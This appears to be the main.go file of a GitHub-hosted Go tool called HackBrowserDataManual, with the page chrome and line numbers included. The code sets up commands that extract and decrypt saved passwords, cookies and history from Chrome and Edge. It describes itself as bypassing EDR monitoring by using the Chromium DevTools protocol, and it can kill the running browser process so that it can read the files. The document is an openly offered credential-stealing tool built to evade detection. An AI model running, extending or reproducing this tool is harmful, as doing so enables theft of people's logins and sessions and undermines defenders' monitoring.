-
Notifications
You must be signed in to change notification settings - Fork 9
/
main.go
282 lines (262 loc) · 7.82 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
package main
import (
"HackBrowserDataManual/browser"
"HackBrowserDataManual/data"
"HackBrowserDataManual/item"
"errors"
log "github.com/sirupsen/logrus"
"github.com/spf13/cobra"
"os"
"path/filepath"
)
var rootCmd *cobra.Command
func init() {
var targetBrowser string
var masterKeyFile string
var inputFileName string
var outputFileName string
var outputFormat string
var userDir string
var logLevel string
var kill bool
binaryName := filepath.Base(os.Args[0])
rootCmd = &cobra.Command{
Use: binaryName,
Short: `extract password/history/cookie.
bypass edr monitor of browser data file by using Chromium devtools protocol`,
CompletionOptions: cobra.CompletionOptions{
DisableDefaultCmd: true,
},
PersistentPreRun: func(cmd *cobra.Command, args []string) {
switch logLevel {
case "info":
log.SetLevel(log.InfoLevel)
case "error":
log.SetLevel(log.ErrorLevel)
default:
log.SetLevel(log.InfoLevel)
}
},
}
rootFlags := rootCmd.PersistentFlags()
rootFlags.StringVarP(&targetBrowser, "browser", "b", item.Chrome, "browser(chrome/edge)")
rootFlags.StringVarP(&logLevel, "log", "l", "info", "log level(info, error)")
runCmd := &cobra.Command{
Use: "run",
Short: "Parse all browser cookie, password and history",
RunE: func(cmd *cobra.Command, args []string) error {
for _, t := range []string{item.Cookie, item.Password, item.History} {
err := runE(targetBrowser, t, masterKeyFile, "", "", outputFormat, kill)
if err != nil {
log.Infof("get %s for %s failed: ", t, targetBrowser)
}
}
return nil
},
}
runPersistentFlags := runCmd.PersistentFlags()
runPersistentFlags.StringVarP(&outputFormat, "format", "f", item.CSV, "Output format(csv/json)")
runFlags := runCmd.Flags()
runFlags.BoolVar(&kill, "kill", false, "kill existing browser process")
passwordCmd := &cobra.Command{
Use: "password",
Short: "Parse browser Password file",
RunE: func(cmd *cobra.Command, args []string) error {
return runE(targetBrowser, item.Password, masterKeyFile, inputFileName, outputFileName, outputFormat, kill)
},
}
passwordFlags := passwordCmd.Flags()
passwordFlags.StringVarP(&masterKeyFile, "key", "k", "", "browser master key file")
passwordFlags.StringVarP(&inputFileName, "input", "i", "", "Password file")
passwordFlags.StringVarP(&outputFileName, "output", "o", "", "Output file")
cookieCmd := &cobra.Command{
Use: "cookie",
Short: "Parse browser cookie file",
RunE: func(cmd *cobra.Command, args []string) error {
return runE(targetBrowser, item.Cookie, masterKeyFile, inputFileName, outputFileName, outputFormat, kill)
},
}
cookieFlags := cookieCmd.Flags()
cookieFlags.StringVarP(&masterKeyFile, "key", "k", "", "browsr master key file")
cookieFlags.StringVarP(&inputFileName, "input", "i", "", "Cookie file")
cookieFlags.StringVarP(&outputFileName, "output", "o", "", "Output file")
cookieFlags.BoolVar(&kill, "kill", false, "kill existing browser process")
historyCmd := &cobra.Command{
Use: "history",
Short: "Parse browser history file",
RunE: func(cmd *cobra.Command, args []string) error {
return runE(targetBrowser, item.History, masterKeyFile, inputFileName, outputFileName, outputFormat, false)
},
}
historyFlags := historyCmd.Flags()
historyFlags.StringVarP(&inputFileName, "input", "i", "", "Password file")
historyFlags.StringVarP(&outputFileName, "output", "o", "", "Output file")
devToolCmd := &cobra.Command{
Use: "devtool",
Short: "Using dev tool protocol to extract cookies.",
RunE: func(cmd *cobra.Command, args []string) error {
var browserInstance *browser.Browser
switch targetBrowser {
case item.Chrome:
browserInstance = &browser.Browser{
UserDir: userDir,
Action: item.Cookie,
Util: &browser.ChromeUtil{},
}
case item.Edge:
browserInstance = &browser.Browser{
UserDir: userDir,
Action: item.Cookie,
Util: &browser.EdgeUtil{},
}
default:
log.Fatalf("invalid browser type %s", targetBrowser)
}
// check if there is browser process
killed, err := browserInstance.CheckBrowser(kill)
if err != nil {
if errors.Is(err, &browser.ChromeExistError{}) {
log.Infof("Chrome process exist, cookie may cannot be parsed")
} else {
return err
}
}
if killed {
defer browserInstance.RestoreBrowser()
}
cookies, err := browserInstance.ParseCookies()
if err != nil {
return err
}
cookieManager := &data.CookieManager{
Manager: &data.Manager{
OutputFormat: outputFormat,
OutputFileName: outputFileName,
InnerData: cookies,
},
}
return cookieManager.WriteData(browserInstance)
},
}
devToolFlags := devToolCmd.Flags()
devToolFlags.StringVarP(&userDir, "userDir", "d", "", "user home dir")
devToolFlags.BoolVar(&kill, "kill", false, "kill existing browser process")
devToolFlags.StringVarP(&outputFileName, "output", "o", "", "Output file")
downloadCmd := &cobra.Command{
Use: "download [file path]",
Short: "download file via dev tool protocol",
Args: cobra.ExactArgs(1),
RunE: func(cmd *cobra.Command, args []string) error {
var browserInstance *browser.Browser
switch targetBrowser {
case item.Chrome:
browserInstance = &browser.Browser{
Util: &browser.ChromeUtil{},
}
case item.Edge:
browserInstance = &browser.Browser{
Util: &browser.EdgeUtil{},
}
default:
log.Fatalf("invalid browser %s", targetBrowser)
}
downloadPath, err := browserInstance.Download(args[0])
if err != nil {
return err
}
log.Infof("download %s to %s", args[0], downloadPath)
return nil
},
}
rootCmd.AddCommand(runCmd)
runCmd.AddCommand(passwordCmd)
runCmd.AddCommand(cookieCmd)
runCmd.AddCommand(historyCmd)
rootCmd.AddCommand(devToolCmd)
rootCmd.AddCommand(downloadCmd)
}
func runE(targetBrowser string, action string, masterKeyFile string, inputFileName string, outputFileName string, outputFormat string, kill bool) error {
var browserInstance *browser.Browser
switch targetBrowser {
case item.Chrome:
browserInstance = &browser.Browser{
MasterKeyFile: masterKeyFile,
InputFile: inputFileName,
Action: action,
Util: &browser.ChromeUtil{},
}
case item.Edge:
browserInstance = &browser.Browser{
MasterKeyFile: masterKeyFile,
InputFile: inputFileName,
Action: action,
Util: &browser.EdgeUtil{},
}
default:
log.Fatalf("invalid browser %s", targetBrowser)
}
if action == item.Cookie {
// check if there is browser process
killed, err := browserInstance.CheckBrowser(kill)
if err != nil {
if errors.Is(err, &browser.ChromeExistError{}) {
log.Infof("Chrome process exist, cookie may cannot be parsed")
} else {
return err
}
}
if killed {
defer browserInstance.RestoreBrowser()
}
}
browserInstance.InitPath()
var masterKey []byte
var err error
if browserInstance.Action != item.History {
masterKey, err = browserInstance.GetKey()
if err != nil {
return err
}
}
tempInputFile, err := browserInstance.Download(browserInstance.InputFile)
if err != nil {
return err
}
defer os.Remove(tempInputFile)
var dataManager data.IManager
switch action {
case item.Password:
dataManager = &data.PasswordManager{
Manager: &data.Manager{
OutputFormat: outputFormat,
OutputFileName: outputFileName,
},
}
case item.Cookie:
dataManager = &data.CookieManager{
Manager: &data.Manager{
OutputFormat: outputFormat,
OutputFileName: outputFileName,
},
}
case item.History:
dataManager = &data.HistoryManager{
Manager: &data.Manager{
OutputFormat: outputFormat,
OutputFileName: outputFileName,
},
}
}
err = dataManager.Parse(masterKey, tempInputFile)
if err != nil {
return err
}
return dataManager.WriteData(browserInstance)
}
func main() {
err := rootCmd.Execute()
if err != nil {
log.Error(err)
os.Exit(0)
}
}